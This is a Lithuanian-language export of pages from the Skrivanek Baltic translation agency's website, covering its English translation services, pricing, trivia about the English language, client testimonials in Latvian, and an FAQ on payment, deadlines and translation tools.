BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Kalbų sprendimai daugiau nei 300 anglų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir t. t. Gaukite nemokamą pasiūlymą per 15 minučių! - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-anglu-valoda/ - Translation Priorities: Optional Ieškote kalbinių sprendimų anglų kalba? Susisiekite su mumis! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti ISO sertifikatais patvirtinta kokybės ir konfidencialumo garantijaMūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomis99 % klientų pasiūlymą gauna greičiau nei per 15 minučiųDaugiau nei 3 000 kalbos specialistų ir gimtakalbiųDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsKasmet mūsų biure išverčiama daugiau kaip 16 milijonų žodžių. ANGLŲ KALBOS VERTIMAI KIEK KAINUOJA VERTIMAS Į ANGLŲ KALBĄ? Vertimo į anglų kalbą ir iš jos kaina apskaičiuojama kiekvienam užsakymui atskirai. Apskaičiuojant kainą atsižvelgiama į įvairius jūsų užsakymui būdingus duomenis, pvz. , nuosekliojo vertimo žodžiu ir sinchroninio vertimo žodžiu kaina priklauso nuo paslaugos teikimo laiko, renginio vietos, kelionės išlaidų, dienpinigių. Sinchroninis vertimas žodžiu taip pat apima papildomas techninės pagalbos išlaidas, atsižvelgiant į dalyvių skaičių ir pan. Rašytinių vertimų kainą lemia verčiamos medžiagos apimtis ir įskaitomumas, vertimo terminai, terminijos sudėtingumas, pasikartojimai tekste, paveikslėlių ir grafikos sudėtingumas ir formatavimas, korektūra, taip pat kitos kliento pasirinktos papildomos paslaugos. AR YRA VERTIMŲ KAINORAŠTIS? Žinoma, tiek vertimo raštu, tiek vertimo žodžiu (sinchroninio ir nuosekliojo), lokalizavimo ir adaptavimo iš / į anglų kalbą paslaugų kainoraštis yra neatsiejama mūsų bendradarbiavimo sutarties su klientais dalis. Kiekvieną kartą „Skrivanek Baltic“ projektų vadovai prieš pradėdami kiekvieną vertimo projektą parengia išsamią informaciją apie vertimo kainą. Pasiūlymas parengiamas per 30 minučių. Nustatant rašytinių kūrinių kainą atsižvelgiama į pirminio teksto žodžių skaičių, pasikartojimus, grafinių elementų sudėtingumą ir kitus parametrus. Laukiame jūsų išverstos medžiagos el. paštu, kad galėtume pateikti pasiūlymą. ĮDOMŪS FAKTAI APIE ANGLŲ KALBĄ Šiuolaikinės anglų kalbos ištakos siekia VII mūsų eros amžių, kai trys germanų gentys – anglai, saksai ir jutai – atvyko į Britanijos salą ir VII–VIII a. susimaišė su vietiniais Britų salų keltais, piktais ir škotais, sudarydami anglosaksų gentis. Istoriškai anglų kalbą galima suskirstyti į tris laikotarpius: Senoji anglų arba anglosaksų kalba (VIII–XI a. ) Vidurinė anglų kalba (XII–XVI a. ) Naujoji anglų kalba (nuo XVI a. vidurio iki dabar). Anglų kalba yra vakarų germanų kalba, priklausanti indoeuropiečių kalbų šeimai. Pasaulyje egzistuoja kelios anglų kalbos rūšys – amerikiečių, australų, britų, kanadiečių ir kt. – kurios skiriasi savo tartimi, žodynu ir gramatika. Kiekvienai anglų kalbos rūšiai būdingos kelios tarmės. Pavyzdžiui, pagrindiniai britų anglų kalbos dialektai yra pietų anglų, vidurinė anglų, šiaurės anglų, airių, škotų, velsiečių ir kt. Anglų neabejotinai yra populiariausia kalba pasaulyje. Ilga istorija, turtingas žodynas, literatūra ir universitetai – tai tik kelios priežastys, dėl kurių anglų kalba yra tokia ypatinga. Yra daugybė faktų, dėl kurių ši kalba yra įdomus, savotiškas anglų kultūros ir tradicijų atspindys. Kai kurie iš jų net priverčia mus nusišypsoti ir atrodo savotiški. Tačiau net ir keistas faktas, susijęs su šia nuostabia šalimi, turės labai karališką akcentą! Trumpiausias gramatiškai taisyklingas sakinys anglų kalba yra „Go! “ Žodis butterfly (drugelis) originaliai buvo flutterby. Kasmet į anglų kalbos žodyną įtraukiama apie 4 000 naujų žodžių. Dažniausiai vartojami žodžiai anglų kalboje yra I (aš) ir you (tu). Anglų klaba vadinama laimingiausia kalba pasaulyje, nes žodis happy vartojamas tris kartus dažniau nei sad. Anglų kalba yra vienintelė iš populiariausių kalbų, kurios nereguliuoja nei viena valstybinių kalbos institucijų. Daugiau nei 80 % internete prieinamos informacijos yra anglų kalba. Žodis lol buvo įrašytas į „Oksford“ žodyną 2011 m. Seniau Kinijoje buvo uždrausta knyga „Alisa stebuklų šalyje“, nes anot Kinijos valdžios, gyvūnai neturėtų turėti teisės kalbėti žmonių kalba, ir taip parodyti, jog gyvūnai ir žmonės yra lygūs. Čarlzas Dikensas buvo labai prietaringas – jis manė, jog miegojimas su vaizdu į šiaurę padarys jį talentingesniu. Jis visada kartu su savimi nešiojosi kompasą, jog būtų užtikrintas, kad miega teisinga kryptimi. Pirmiausia visa Šekspyro pjeses buvo galima vaidinti tik vyrams aktoriams. To meto Anglijoje moterims buvo draudžiama lipti ant scenos. Viena brangiausių knygų anglų kalba yra, kurią už daugiau negu 30 mln. JAV dolerių nusipirko Bilas Geitsas yra Leonardo da Vinčio „Lesterio kodeksas“. ANGLŲ KALBOS ABĖCĖLĖ Nuo IX a. anglų kalba rašoma lotyniška abėcėle, o prieš tai buvo naudojamos anglosaksų runos. Abėcėlę sudaro 26 raidės, kiekviena raidė yra ir didžioji, ir mažoji. Tai viena iš nedaugelio kalbų, kurioje šiandien nenaudojami diakritiniai ženklai. Dažniausiai anglų kalboje vartojama raidė yra „e“. Rečiausiai vartojama raidė yra „z“. Anglų kalboje apostrofas nenaudojamas kaip diakritinis ženklas ir nėra įtrauktas į anglų kalbos abėcėlę. Lingvistiniuose užrašuose jis naudojamas dviem svarbiais tikslais: vienaskaitos ar daugiskaitos daiktavardžių ir asmeninių įvardžių savybinei formai reikšti ir dviejų žodžių junginiuose. AR ANGLŲ KALBA SUDĖTINGA? Anglų kalbą išmokti labai sunku. Ši kalba turi sudėtingą gramatiką, rašybą ir tartį, kuri klaidina net gimtakalbius. Visa tai klaidina net gimtakalbius. Anglų kalboje gausu idiomų ir metaforų. Pavyzdžiui, „she kicked the bucket“ pažodžiui būtų verčiama kaip „ji nuspyrė kibirą“, tačiau šnekamojoje kalboje tai reiškia „ji mirė“. Tokių pavyzdžių galėtų būti tūkstančiai, ir kartais jie glumina net gimtakalbius, jau nekalbant apie tuos, kurie mokosi anglų kaip užsienio kalbos. Anglų kalboje yra žodžių, kurių kilmė atrodo nelogiška, kartais net juokinga, pavyzdžiui, pineapple – „ananasas“. Šis žodis susideda iš dviejų žodžių – „pušis“ ir „obuolys“. Tačiau kaip iš to atsirado žodis „ananasas“? Žodžių tarimas taip pat sudėtingas ir dažniausiai neatitinka užrašyto žodžio. Balsių junginiai arba balsiai, atsižvelgiant į jų padėtį žodyje, tariami skirtingai. Anglų kalboje taip pat yra daug homonimų. Gimtakalbiai anglai paprastai žino, ką atitinkamas žodis reiškia, tačiau besimokantiems kalbos jis gali sukelti daug painiavos. Kiekvienam anglų kalbos lygiui mokytis reikia ne mažiau kaip 120 valandų, tačiau paprastai tai trunka apie 200 valandų. Taigi, norint pasiekti aukščiausią kalbos mokėjimo lygį, reikės vidutiniškai 1 200 valandų. KUR IR KIEK KALBAMA ANGLIŠKAI? Skaičiuojant visus anglakalbius, ši kalba yra labiausiai paplitusi pasaulyje ir vartojama kaip tarptautinė bendravimo kalba visuose penkiuose žemynuose. Apskaičiuota, kad angliškai kalbančių žmonių skaičius jau pasiekė maždaug du milijardus. Ši kalba yra gimtoji maždaug 400 milijonų žmonių ir yra oficiali 54 šalių ir 24 teritorijų kalba. Daugelyje šių šalių ir teritorijų anglų kalba yra viena iš valstybinių kalbų, tačiau kai kuriose šalyse, nepaisant to, kad anglų kalba yra valstybinė, dauguma žmonių jos nemoka. Taip pat yra šalių, kuriose anglų kalba yra dominuojanti, nors ji neturi oficialaus statuso, pavyzdžiui, Australijoje. Daugiausia angliškai kalbančių žmonių gyvena JAV, Indijoje, Pakistane, Nigerijoje ir Filipinuose. Penkios šalys, kuriose yra daugiausia anglų kalbos gimtakalbių, yra JAV, Jungtinė Karalystė, Kanada, Australija ir Naujoji Zelandija. Anglų kalba taip pat yra daugelio Airijos Respublikos gyventojų gimtoji kalba. Anglų kalba kaip antroji kalba labiausiai vartojama Danijoje, Vokietijoje, Nyderlanduose, Slovėnijoje ir Švedijoje. ANGLŲ KALBOS VERTĖJAS ŽODŽIU IR RAŠTU Puiki „Skrivanek Baltic“ anglų kalbos vertėjų raštu ir žodžiu komanda jau daugiau kaip 25 metus atlieka standartinių dokumentų vertimus, dokumentų vertimus Europos Sąjungos institucijoms ir didžiausioms pasaulio nevyriausybinėms organizacijoms, sudėtingus medicininius ir techninius vertimus, taip pat notaro patvirtintus vertimus. „Skrivanek“ taip pat teikia anglų kalbos korektūros ir stilistikos tobulinimo, SEO turinio, reklaminių šūkių kūrimo paslaugas, kurias atlieka mūsų gimtakalbiai Jungtinėje Karalystėje, Jungtinėse Amerikos Valstijose, Kanadoje ir Australijoje. Mūsų kalbos ekspertai mielai papasakos apie kultūrinius skirtumus, verslo etiketą, istoriją ir tradicijas. Verslo klientams dažniausiai atliekame šiuos vertimus į anglų kalbą ir iš jos: interneto svetainių ir e. parduotuvių turinio vertimus, skaitmeninės rinkodaros turinio ir metažymių aprašymų adaptavimą ir pritaikymą, bendradarbiavimo sutarčių, teisės aktų, teismo sprendimų ir verslo dokumentų vertimus. Taip pat atliekame nuoseklųjį vertimą žodžiu verslo ar kituose pokalbiuose, visų instancijų teismų posėdžiuose, aukšto lygio tarptautinėse konferencijose ir kituose renginiuose, „Zoom“ bei kitose internetinėse platformose. Fiziniams asmenims verčiame asmens tapatybės dokumentus, santuokos liudijimus, vaikų gimimo liudijimus, išsilavinimo dokumentus, pasus, medicininius dokumentus ir kt. vertimus. ANGLŲ KALBA VERSLUI Kalba yra labai svarbi verslui ir gali būti veiksminga pasaulinio verslo plėtros priemonė. Todėl kelių kalbų mokymasis ir kalbėjimas jomis suteikia daug galimybių plėtoti verslą su užsienio investuotojais ir verslininkais. Anglų kalba yra labiausiai paplitusi kalba pasaulyje, todėl ji yra viena iš dominuojančių kalbų verslo pasaulyje. Ją žinodami galite užsiimti verslu bet kuriame iš penkių pasaulio žemynų. Būtent dėl šios priežasties anglų kalba tapo vienintele kalba pasaulyje, kuri pritraukė daugiau nei milijardą aktyviai besimokančiųjų. Daugelyje šalių ji yra gimtoji kalba, daugeliui ji yra pirmoji užsienio kalba, o pasaulyje nėra nė vienos šalies, kurioje anglų kalbos nebūtų mokoma švietimo įstaigose. Ją kaip oficialią ir darbinę kalbą vartoja svarbiausios pasaulio organizacijos, ja atliekama daugybė mokslinių, technologinių ir kitų tyrimų. Tai pagrindinė programinės įrangos kūrimo ir vartojimo kalba ir pirmoji žiniatinklio aplinkos kalba. Daugelis tarptautinių bendrovių savo įmonėse pagrindine darbo kalba pasirinko anglų kalbą, net jei registracijos šalis nėra anglakalbė. Vieni ryškiausių pavyzdžių – „NOKIA“ Suomijoje ir „AIRBUS“ Prancūzijoje. Anglų kalbos žinios kiekvienam verslininkui atveria didžiules galimybes plėsti verslą už savo šalies ribų. Tai didžiulė perspektyva ir neištirtas rinkos segmentas visame pasaulyje. JUNGTINĖ KARALYSTĖ IR LATVIJOS RESPUBLIKA Didžioji Britanija buvo pirmoji pasaulio valstybė, kuri 1918 m. lapkričio 11 d. (likus savaitei iki Latvijos valstybės paskelbimo 1918 m. lapkričio 18 d. ) pripažino Laikinąją Latvijos nacionalinę tarybą de facto nepriklausoma institucija ir paskyrė delegatę Zigfridą Aną Meierovics neoficialia Latvijos laikinosios vyriausybės diplomatine atstove Didžiojoje Britanijoje. 1919 m. britų pajėgos dalyvavo Latvijos nepriklausomybės kare. 1919 m. pavasarį garlaivį „Saratov“, kuris buvo išmetęs inkarą Baltijos jūroje prie Liepojos ir laikinai buvo tapęs Latvijos laikinosios vyriausybės ir jos lyderio Karlio Ulmanio prieglobsčio ir veiklos vieta, saugojo Didžiosios Britanijos karo laivai. Tokia britų parama sustiprino Jungtinės Karalystės, kaip Latvijai palankios valstybės, suvokimą. JK istoriškai buvo svarbi Latvijos prekybos partnerė. Latvija visada buvo suinteresuota užtikrinti kuo platesnius ekonominius ryšius – investicijas, prekybą, bendradarbiavimą mokslo ir technologijų srityje. Latvija ir Jungtinė Karalystė aktyviai bendradarbiauja aukštojo mokslo ir mokslo srityse. Dauguma Latvijos universitetų yra pasirašę bendradarbiavimo sutartis su Jungtinės Karalystės universitetais dėl studentų, dėstytojų ir tyrėjų mainų. Šie susitarimai apima bendrą mokslinių konferencijų ir seminarų organizavimą, bendrų mokslinių straipsnių publikavimą, mokomosios ir metodinės literatūros rengimą. Be to, nuolat bendradarbiaujama kino, muzikos, literatūros ir vaizduojamojo meno srityse, taip pat tarp teatrų, muziejų ir nacionalinių bibliotekų. SPRENDIMUS, KURIUOS DAŽNIAUSIAI TEIKIAME ANGLŲ KALBA: įvairių dokumentų vertimas į anglų kalbą; skubūs rašytiniai vertimai; notaro patvirtintas vertimas; interneto svetainės vertimas; angliškų tekstų korektūros; DTP – grafinio dizaino paslaugos; tekstų adaptacija ir kūrybinių tekstų rengimas; vertimas žodžiu į anglų kalbą; individualūs ir grupiniai anglų kalbos kursai; vaikų vasaros stovyklos su anglų kalbos pamokomis. ANGLŲ KALBOS KOMBINACIJOS: anglų–latvių; latvių–anglų; anglų–lietuvių; lietuvių–anglų; estų–anglų; anglų–estų; rusų–anglų; anglų–rusų; lenkų–anglų; anglų–lenkų; ukrainiečių–anglų; anglų–ukrainiečių; čekų–anglų; anglų–čekų; vokiečių– anglų; anglų–vokiečių; ispanų–anglų; anglų–ispanų; prancūzų–anglų; anglų–prancūzų; italų–anglų; anglų–italų; danų–anglų; anglų–danų; švedų–anglų; anglų–švedų; norvegų–anglų; anglų–norvegų; suomių–anglų; anglų–suomių; anglų–arabų; arabų–anglų; anglų–armėnų, armėnų–anglų; anglų–baltarusių, baltarusių–anglų; bulgarų anglų, anglų–bulgarų; anglų–hebrajų, hebrajų–anglų, anglų–graikų, graikų–anglų; anglų–gruzinų; gruzinų–anglų; anglų–hindi; hindi–anglų; anglų–olandų; olandų–anglų; anglų–korėjiečių; korėjiečių–anglų; anglų–kurdų; kurdų–anglų; anglų–kinų; kinų–anglų; anglų–portugalų; portugalų–anglų; anglų–rumunų; rumunų–anglų; anglų–slovakų; slovakų–anglų; anglų–slovėnų; slovėnų–anglų; anglų–turkų; turkų–anglų; anglų–vengrų; vengrų–anglų ir kt. --- > Esame pasiruošę padėti jums sėkmės kelyje: vertimas raštu, vertimas žodžiu, lokalizavimas, kalbos mokymas ir t. t. Daugiau nei 25 metų patirtis. - Published: 2022-07-13 - Modified: 2024-07-09 - URL: https://skrivanek.lv/pakalpojumi/ - Translation Priorities: Optional Užsienio kalbos dideliems tikslams Rinkoje daugiau nei 25 metus! Rašytiniai vertimai Vertimas žodžiu Lokalizacija Kalbų mokymasis JŪSŲ VERTIMŲ BIURAS IR MOKYMO CENTRAS „SKRIVANEK“ 1 „Skrivanek“ yra viena didžiausių pasaulyje kalbų paslaugų teikėjų, turinti daugiau nei 25 metų patirtį kalbų paslaugų srityje. Šiuo metu ji turi beveik penkiasdešimt filialų visame pasaulyje. „Skrivanek Baltic“ Latvijoje veikia nuo 2003 m. ir savo klientams siūlanti aukštos kokybės kalbų paslaugas. 0+ Įvairūs kalbos deriniai 0+ milj. Išversti žodžiai 2020 m. per metus 0+ Kalbos specialistas 0 ISO sertifikatai KELIOS PRIEŽASTYS, KODĖL VERTA RINKTIS MUS?  Kvalitātes un izpildes garantija Esam ISO 9001, EN 17100, ISO 27001 sertificēts uzņēmums. Mēs uzņemamies atbildību par paveikto un nekavējam izpildes termiņus! Lasīt vairāk  Jaunākās tulkošanas tehnoloģijas Izmantojam mūsdienu tehnoloģiskos sasniegumus kvalitātes un produktivitātes veicināšanai! Lasīt vairāk  Plašs valodu risinājumu klāsts Augam un attīstāmies kopā ar jums, lai sniegtu labāko un plašāko valodu risinājumu piedāvājumu Baltijā! Sazināties TEIKIAME KALBINIUS SPRENDIMUS ĮVAIRIEMS SEKTORIAMS DAUGIAU NEI 300 KALBŲ KOMBINACIJŲ. Anglų kalba Čekų kalba Danų kalba Prancūzų kalba Graikų kalba Lietuvių kalba Norvegų kalba Estų kalba Italų kalba Rusų kalba Lenkų kalba Suomių kalba Ispanų kalba Vokiečių kalba Švedų kalba kitos kalbos Draudimas Statybos Žmogiškieji ištekliai (ŽI) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Jurisprudence Miškininkystė Mechanikos inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklamavimas ir rinkodara Prekyba Turizmas Valstybės ir vietos valdžios institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  Sužinoti kainą / Užduoti klausimą Dažniausiai užduodami klausimai „Skrivanek Baltic“ yra sertifikuotas vertimų biuras, veikiantis Latvijoje nuo 2003 m. ir teikiantis aukščiausios kokybės kalbų paslaugas . „Skrivanek“ yra viena didžiausių kalbų paslaugų teikėjų pasaulyje, turinti daugiau nei 25 metų patirtį. Šiuo metu ji turi beveik penkiasdešimt filialų visame pasaulyje – JAV, Austrijoje, Belgijoje, Bulgarijoje, Čekijoje, Estijoje, Lietuvoje, Lenkijoje, Slovakijoje, Slovėnijoje ir Vokietijoje. 2007. 2006 m. duris atvėrė „Skrivanek“ mokymo centras, suteikiantis vaikams ir suaugusiesiems galimybę papildyti ir įgyti užsienio kalbų įgūdžių su kvalifikuotais ir kompetentingais mokytojais, taip pat gauti daugiau su kalbomis susijusios informacijos. Vertimo paslaugos kaina apskaičiuojama atsižvelgiant į dokumento žodžių skaičių, kalbų derinį ir kitus veiksnius. Atsiųskite mums medžiagą ir prieš pradėdami vertimą būsite informuoti apie vertimo kainą. Nemokamo pasiūlymo gavimas neįpareigoja jūsų bendradarbiauti su mumis. Mokėjimo tvarka Verslo klientams siūlome sudaryti bendradarbiavimo sutartį, kurioje galime numatyti šias mokėjimo sąlygas: mūsų įmonėje pirmą kartą pateikdamas užsakymą klientas jį gauna tik apmokėjęs sąskaitą faktūrą; mokėjimas po kiekvieno projekto su sąskaita faktūra (paprastai rekomenduojama dideliems projektams); vėlesnis mokėjimas su sąskaita faktūra už laikotarpį (paprastai rekomenduojama klientams, turintiems daug mažų užsakymų); kartą per mėnesį sumokėti vėliau. Įmonių klientams ir privatiems asmenims siūlome apmokėti sąskaitas mokėjimo kortelėmis arba grynaisiais pinigais mūsų biure, „PayPal“ mokėjimais, taip pat mokėti banko pavedimu. Taip, individualiems asmenims nurodome kainą, į kurią įskaičiuotas PVM. Verslo klientams, remiantis visuotinai pripažinta rinkos praktika, paslaugų kaina nurodoma be PVM. Jei dokumentas pateikiamas Microsoft Word formatu, naudokite žodžių skaičiavimo funkciją (Review -> Word Count ). Jei dokumentas yra kito formato (spausdinimo, JPG, HTML, PHP, ASP ir t. t. ), el. paštuatsiųskite mums failą (-us) ir mes atsiųsime nemokamą sąmatą. Prieš pradėdami darbą susitarsime dėl terminų. Galite tikėtis, kad iki 500 žodžių vertimas vidutiniškai užtruks vieną visą darbo dieną, o nuo 1000 žodžių – ne ilgiau kaip pusantros darbo dienos. Jei reikia, galime atlikti skubų vertimą. Visiškai bet kokiu elektroniniu formatu – jei dokumento nėra elektroniniu formatu, atsiųskite mums nuotraukas arba atvykite į mūsų biurą Lāčplēša gatvėje 87C. Galime išversti bet ką iš beveik bet kokio elektroninio formato, išsaugodami originalaus dokumento formatavimą. Net ir tais atvejais, kai reikalingos lokalizavimo paslaugos, laikomės kliento nurodymų ir konkrečios programinės įrangos nustatymų. Žinoma, su didžiausiu malonumu. „Skrivanek“ turi daug patirties ir žinių verčiant ir lokalizuojant įvairių svetainių ir turinio valdymo sistemų tekstus. Visais atvejais laikomasi profesionalaus požiūrio ir pasirenkamas geriausias sprendimas, kad būtų užtikrintas norimas rezultatas reikiamomis kalbų kombinacijomis. Nors daugiausia užklausų gauname iš įmonių, mielai bendradarbiaujame ir su pavieniais asmenimis. Dažniausiai privatiems klientams reikia notaro patvirtintų vertimų, kalbų pamokų ir stovyklų vaikams bei jaunimui. Mūsų komanda padės bet kokioje situacijoje. Abiejų profesijų atstovai puikiai moka kalbas, tačiau vertėjas raštu atlieka visų rūšių vertimus, o vertėjas žodžiu – vertimo žodžiu paslaugas –nuoseklųjį arba sinchroninį vertimą. Jei reikia, garantuojame, kad mūsų išverstas dokumentas atrodys lygiai taip pat, kaip ir originalas, arba sukuriame jį pagal kliento reikalavimus, pasitelkdami savo DTP komandą. Kiek įmanoma, dirbame su originaliais dokumentais elektroniniu formatu, nekeisdami jų stiliaus ir formatavimo. Esame ISO 9001, EN 17100, ISO 27001 sertifikuota įmonė. Didelį dėmesį skiriame konfidencialumui, prisiimame atsakomybę už tai, ką padarėme, ir neatidėliojame terminų! Standarte EN 17100 nustatyti procesų valdymo reikalavimai, tiesiogiai skirti vertimo paslaugų teikėjams. Siekdami užtikrinti savo klientų ramybę, pasirašėme profesinės civilinės atsakomybės sutartį su tarptautine draudimo bendrove AIG. Taip pat teikiame vertimus su notaro ar biuro patvirtinimu. Ne, visus vertimo paslaugų užsakymus priima ir prižiūri projekto vadovas, kuris yra tarpininkas tarp kliento ir vertėjo. „Skrivanek Baltic“ vertėjai raštu ir žodžiu verčia į daugiau nei 110 kalbų. Teikiame vertimo žodžiu ir raštu paslaugas, taip pat įvairius kalbinius sprendimus. Teikiame vertimo žodžiu paslaugas konferencijose , verslo susitikimuose, taip pat mūsų vertėjai žodžiu padeda vykstant posėdžiams. Rašytiniai vertimai apima specializuotus ir bendruosius vertimus įvairiose srityse. Taip pat teikiame lokalizavimo, teksto adaptavimo ir kūrimo, DTP ir kalbų mokymo paslaugas. Taip, labai dažnai savo partneriams net sudarome kalbų komandas – paslaugas teikia tas pats vertėjas raštu ar žodžiu, kuris su klientu dirbo ir anksčiau. Drąsiai pateikite atsiliepimus ir mes mielai suorganizuosime pakartotinį bendradarbiavimą. Mūsų nuolatiniai klientai taip pat turi savo projektų vadovą. Viskas priklauso nuo konkrečios sutarties ir jūsų reikalavimų. Tik jūs nuspręsite, kiek laiko vertėjas turėtų praleisti su jumis. Tais atvejais, kai išverstą galutinį rezultatą ketinama naudoti, pavyzdžiui, rinkodaros ar reklamos tikslais, neužtenka jį tiksliai išversti – tekstą dažnai reikia lokalizuoti, pakeisti idiomas ar kitus vaizdingus posakius, kad jis būtų lengvai suprantamas tikslinės kalbos vartotojams. Tokiais atvejais tekstai pritaikomi taip, kad visiškai atitiktų tikslinės auditorijos reikalavimus. Vertimo priemonės (CAT) – tai vertėjams skirtos programos, padedančios vertimo procese. Vertimo įrankiai neapima kompiuterinio ar automatinio vertimo, tačiau jie leidžia atlikti darbą per trumpesnį laiką, užtikrina nuoseklų terminijos vartojimą, leidžia sutaupyti ir suteikia kitų privalumų. Šios priemonės leidžia išsaugoti visus anksčiau išverstus tekstus, kad dviejų vienodų sakinių nereikėtų versti daugiau nei vieną kartą. Jie ypač tinka finansiniams ir techniniams tekstams, taip pat farmacijos dokumentams, interneto svetainėms ir programinei įrangai versti. Paprastai pripažįstama, kad vertėjas gali išversti iki 2000 žodžių per dieną, o korektorius – iki 6000 žodžių per dieną. Paprastai viena diena skiriama techniniam vertimo projekto apdorojimui. Norint nustatyti didelių projektų terminą, vertėjų ir (arba) korektorių skaičius dauginamas iš darbo kiekio, kurį vienas asmuo gali atlikti per dieną (pvz. , du vertėjai gali išversti 4000 žodžių per dieną, penki vertėjai gali išversti 10 000 žodžių per dieną). Siekiant užtikrinti vienodą vertimo terminologiją ir stilių, įdarbinamas mažiausias įmanomas korektorių skaičius (pvz. , penki vertėjai ir vienas korektorius), išskyrus skubius užsakymus, kai reikia papildomų darbuotojų. Sinchroniniam vertimui reikia dviejų vertėjų kiekvienai kalbų porai (pvz. , renginyje, kuriame dalyvauja latviškai ir angliškai kalbantys dalyviai, sinchroninį vertimą užtikrins du vertėjai, kurie maždaug kas 20 minučių keisis iš vienos kalbos į kitą). Norint apskaičiuoti sinchroninio vertimo kabinų skaičių, reikia atsižvelgti į tai, kad du toje pačioje kabinoje sėdintys vertėjai žodžiu verčia į tą pačią kalbų porą (pavyzdžiui, jei renginyje reikia vertimo į keturias kalbų poras, reikės keturių kabinų su aštuoniais vertėjais žodžiu). --- > Užpildydami kontaktinę formą užduokite klausimą arba paprašykite pasiūlymo! Darbo valandos: I–V nuo 8.30 iki 18.00 | Lāčplēša 87C, Ryga birojs@skrivanek.lv! - Published: 2022-07-13 - Modified: 2024-09-04 - URL: https://skrivanek.lv/kontakti/ - Translation Priorities: Optional if (typeof(gem_fix_fullwidth_position) == "function") { gem_fix_fullwidth_position(document. getElementById("fullwidth-block-68873029ae62c")); } SUŽINOTI KAINĄ / UŽDUOTI KLAUSIMĄ Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) 